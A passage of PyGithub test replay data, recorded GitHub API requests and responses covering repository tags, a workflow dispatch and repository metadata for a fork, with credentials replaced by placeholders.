1.12.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.12.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.12.1","commit":{"sha":"67bdf8c0be32dc195a4545bf90100a1b55eebf45","url":"https://api.github.com/repos/wrecker/PyGithub/commits/67bdf8c0be32dc195a4545bf90100a1b55eebf45"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xMi4x"},{"name":"v1.12.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.12.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.12.0","commit":{"sha":"c8553031178cbf221d95af1ecc7ffd4707ac5cc9","url":"https://api.github.com/repos/wrecker/PyGithub/commits/c8553031178cbf221d95af1ecc7ffd4707ac5cc9"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xMi4w"},{"name":"v1.11.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.11.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.11.1","commit":{"sha":"392a422ec2b9b97f7b1ad41e04cc62ef67ad0e7f","url":"https://api.github.com/repos/wrecker/PyGithub/commits/392a422ec2b9b97f7b1ad41e04cc62ef67ad0e7f"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xMS4x"},{"name":"v1.11.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.11.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.11.0","commit":{"sha":"6b32e1cdf588d8c3c651d355ffc3451dd34284b9","url":"https://api.github.com/repos/wrecker/PyGithub/commits/6b32e1cdf588d8c3c651d355ffc3451dd34284b9"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xMS4w"},{"name":"v1.10.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.10.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.10.0","commit":{"sha":"4400a24872e52ee488067a7d0d8522ca3764b4e5","url":"https://api.github.com/repos/wrecker/PyGithub/commits/4400a24872e52ee488067a7d0d8522ca3764b4e5"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xMC4w"},{"name":"v1.9.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.9.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.9.1","commit":{"sha":"a922319db0037babe9919a83b8b69efebcf942ea","url":"https://api.github.com/repos/wrecker/PyGithub/commits/a922319db0037babe9919a83b8b69efebcf942ea"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS45LjE="},{"name":"v1.9.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.9.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.9.0","commit":{"sha":"808fe92191d287bbad6131c5a8be78b4ded745fd","url":"https://api.github.com/repos/wrecker/PyGithub/commits/808fe92191d287bbad6131c5a8be78b4ded745fd"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS45LjA="},{"name":"v1.8.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.8.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.8.1","commit":{"sha":"e3d76fc3ec3dd4f4c3b3a440ff9e771f06d63a39","url":"https://api.github.com/repos/wrecker/PyGithub/commits/e3d76fc3ec3dd4f4c3b3a440ff9e771f06d63a39"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS44LjE="},{"name":"v1.8.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.8.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.8.0","commit":{"sha":"31110327ec45f3138e58ed247b2cf420fee481ec","url":"https://api.github.com/repos/wrecker/PyGithub/commits/31110327ec45f3138e58ed247b2cf420fee481ec"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS44LjA="},{"name":"v1.7","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.7","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.7","commit":{"sha":"df3290644ad7846d4ca93ba94af943ae1431ee1c","url":"https://api.github.com/repos/wrecker/PyGithub/commits/df3290644ad7846d4ca93ba94af943ae1431ee1c"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS43"},{"name":"v1.6","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.6","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.6","commit":{"sha":"cabc55dc3b858b7e02076e2c1041f242f05b9f1c","url":"https://api.github.com/repos/wrecker/PyGithub/commits/cabc55dc3b858b7e02076e2c1041f242f05b9f1c"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS42"},{"name":"v1.5","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.5","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.5","commit":{"sha":"ece857f70e19b69ebeda244da71f892c8b05f53a","url":"https://api.github.com/repos/wrecker/PyGithub/commits/ece857f70e19b69ebeda244da71f892c8b05f53a"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS41"},{"name":"v1.4","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.4","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.4","commit":{"sha":"bf1e3b588b2a91afcabb64d5d28476bdbf074912","url":"https://api.github.com/repos/wrecker/PyGithub/commits/bf1e3b588b2a91afcabb64d5d28476bdbf074912"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40"},{"name":"v1.3","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.3","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.3","commit":{"sha":"e6c64ab31ea88229f0c81ae9f83496db34452db7","url":"https://api.github.com/repos/wrecker/PyGithub/commits/e6c64ab31ea88229f0c81ae9f83496db34452db7"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4z"},{"name":"v1.2","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.2","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.2","commit":{"sha":"d40bec470e30bac4175d62a880b42757939553c9","url":"https://api.github.com/repos/wrecker/PyGithub/commits/d40bec470e30bac4175d62a880b42757939553c9"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4y"},{"name":"v1.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.1","commit":{"sha":"6658713d2790d1d47886ed9cee84ba645f160877","url":"https://api.github.com/repos/wrecker/PyGithub/commits/6658713d2790d1d47886ed9cee84ba645f160877"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4x"},{"name":"v1.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.0","commit":{"sha":"0855be0a4db8537b313b370b2a4642b7971a8296","url":"https://api.github.com/repos/wrecker/PyGithub/commits/0855be0a4db8537b313b370b2a4642b7971a8296"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4w"},{"name":"v0.7","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v0.7","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v0.7","commit":{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","url":"https://api.github.com/repos/wrecker/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MC43"},{"name":"v0.6","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v0.6","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v0.6","commit":{"sha":"4303c5b90e2216d927155e9609436ccb8984c495","url":"https://api.github.com/repos/wrecker/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MC42"},{"name":"v0.5","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v0.5","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v0.5","commit":{"sha":"936f4a97f1a86392637ec002bbf89ff036a5062d","url":"https://api.github.com/repos/wrecker/PyGithub/commits/936f4a97f1a86392637ec002bbf89ff036a5062d"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MC41"},{"name":"v0.4","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v0.4","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v0.4","commit":{"sha":"a3be28756101370fbc689eec3a7825c4c385a6c9","url":"https://api.github.com/repos/wrecker/PyGithub/commits/a3be28756101370fbc689eec3a7825c4c385a6c9"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MC40"},{"name":"v0.3","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v0.3","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v0.3","commit":{"sha":"636e6112deb72277b3bffcc3303cd7e8a7431a5d","url":"https://api.github.com/repos/wrecker/PyGithub/commits/636e6112deb72277b3bffcc3303cd7e8a7431a5d"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MC4z"},{"name":"v0.2","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v0.2","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v0.2","commit":{"sha":"9f0b05161f9d1962b9156e6c91fc04f382028240","url":"https://api.github.com/repos/wrecker/PyGithub/commits/9f0b05161f9d1962b9156e6c91fc04f382028240"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MC4y"},{"name":"v0.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v0.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v0.1","commit":{"sha":"dbdcda3591980de42617814f792969126e6402c3","url":"https://api.github.com/repos/wrecker/PyGithub/commits/dbdcda3591980de42617814f792969126e6402c3"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MC4x"},{"name":"1.35","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/1.35","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/1.35","commit":{"sha":"19310e77e3279080998e2ff230d19e6fe0743528","url":"https://api.github.com/repos/wrecker/PyGithub/commits/19310e77e3279080998e2ff230d19e6fe0743528"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy8xLjM1"}] https POST api.github.com None /repos/wrecker/PyGithub/actions/workflows/2001227/dispatches {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"ref": "workflow_dispatch_tag", "inputs": {"logLevel": "Warning", "message": "Log Message"}} 204 [('Date', 'Mon, 27 Jul 2020 23:42:16 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1595896933'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', '8F1E:095E:3AD54D:4762F5:5F1F6658')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testDisable.txt0000644000175100001660000005351214756101563023001 0ustar00runnerdockerhttps GET api.github.com None /repos/nickrmcclorey/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sat, 07 Dec 2024 02:51:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"56ffc753ee94d9b7593858e35c96fedbb0cd4b1a0a2c489935d170d5018cb47f"'), ('Last-Modified', 'Sat, 07 Dec 2024 02:17:32 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, audit_log, codespace, delete:packages, gist, notifications, project, repo, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-12-14 02:28:22 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4864'), ('X-RateLimit-Reset', '1733542572'), ('X-RateLimit-Used', '136'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '97FE:220364:2CC37F4:588747E:6753B821'), ('Server', 'github.com')] {"id":899780383,"node_id":"R_kgDONaGPHw","name":"PyGithub","full_name":"nickrmcclorey/PyGithub","private":false,"owner":{"login":"nickrmcclorey","id":32378821,"node_id":"MDQ6VXNlcjMyMzc4ODIx","avatar_url":"https://avatars.githubusercontent.com/u/32378821?v=4","gravatar_id":"","url":"https://api.github.com/users/nickrmcclorey","html_url":"https://github.com/nickrmcclorey","followers_url":"https://api.github.com/users/nickrmcclorey/followers","following_url":"https://api.github.com/users/nickrmcclorey/following{/other_user}","gists_url":"https://api.github.com/users/nickrmcclorey/gists{/gist_id}","starred_url":"https://api.github.com/users/nickrmcclorey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nickrmcclorey/subscriptions","organizations_url":"https://api.github.com/users/nickrmcclorey/orgs","repos_url":"https://api.github.com/users/nickrmcclorey/repos","events_url":"https://api.github.com/users/nickrmcclorey/events{/privacy}","received_events_url":"https://api.github.com/users/nickrmcclorey/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/nickrmcclorey/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nickrmcclorey/PyGithub","forks_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/forks","keys_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/teams","hooks_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/events","assignees_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/tags","blobs_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/subscription","commits_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/merges","archive_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/downloads","issues_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/deployments","created_at":"2024-12-07T02:17:32Z","updated_at":"2024-12-07T02:17:32Z","pushed_at":"2024-12-04T08:56:01Z","git_url":"git://github.com/nickrmcclorey/PyGithub.git","ssh_url":"git@github.com:nickrmcclorey/PyGithub.git","clone_url":"https://github.com/nickrmcclorey/PyGithub.git","svn_url":"https://github.com/nickrmcclorey/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16298,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-12-06T08:32:51Z","pushed_at":"2024-12-04T08:56:01Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16298,"stargazers_count":7064,"watchers_count":7064,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":352,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":352,"watchers":7064,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-12-06T08:32:51Z","pushed_at":"2024-12-04T08:56:01Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16298,"stargazers_count":7064,"watchers_count":7064,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":352,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License 